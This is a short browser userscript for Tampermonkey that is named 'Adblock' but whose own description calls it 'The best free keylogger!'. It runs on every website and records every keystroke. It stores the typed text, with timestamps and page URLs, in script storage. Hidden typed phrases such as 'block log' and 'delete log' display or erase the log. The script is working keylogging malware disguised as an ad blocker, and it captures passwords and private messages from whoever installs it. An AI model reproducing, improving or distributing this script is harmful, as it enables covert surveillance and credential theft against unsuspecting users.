elo123 / Adblock

// ==UserScript==
// @name         Adblock
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  The best free keylogger!
// @copyright    2016
// @author       Arden Xie
// @include      http*://*
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_deleteValue
// @license GPL-2.0-or-later
// @noframes
// ==/UserScript==


(function() {
    'use strict';

    window.addEventListener('keydown', capture);
    window.addEventListener('keyup', up);
    window.addEventListener("beforeunload", save);

    var chars = "";
    var keylogging = true;
    var down = false;

    function capture(evt) {
        if (keylogging && !down) {
            down = true;
            chars += String.fromCharCode(evt.keyCode).toLowerCase();

            if (chars != chars.replace("stop log", "something different")) {
                keylogging = false;
                                console.log("log stopped");
            } else if (chars != chars.replace("block log", "something different")) {
                chars = chars.replace("block log", "");
                alert(GM_getValue("typed", "none"));
            } else if (chars != chars.replace("delete log", "something different")) {
                console.log("deleting... ");
                GM_deleteValue("typed");
                if (GM_getValue("typed", ".")!=".") {
                    console.error("Could not delete log");
                } else {
                    console.log("Successful");
                }
                chars = "";
            }
        }
    }

    function up() {
        down = false;
    }

    function save(evt) {
        var now = new Date();
        GM_setValue("typed", GM_getValue("typed", "")+" [ "+now.getMonth()+", "+now.getDate()+", "+now.getHours()+":"+now.getMinutes()+", "+window.location.href+" ]: "+chars+"\n");
    }
})();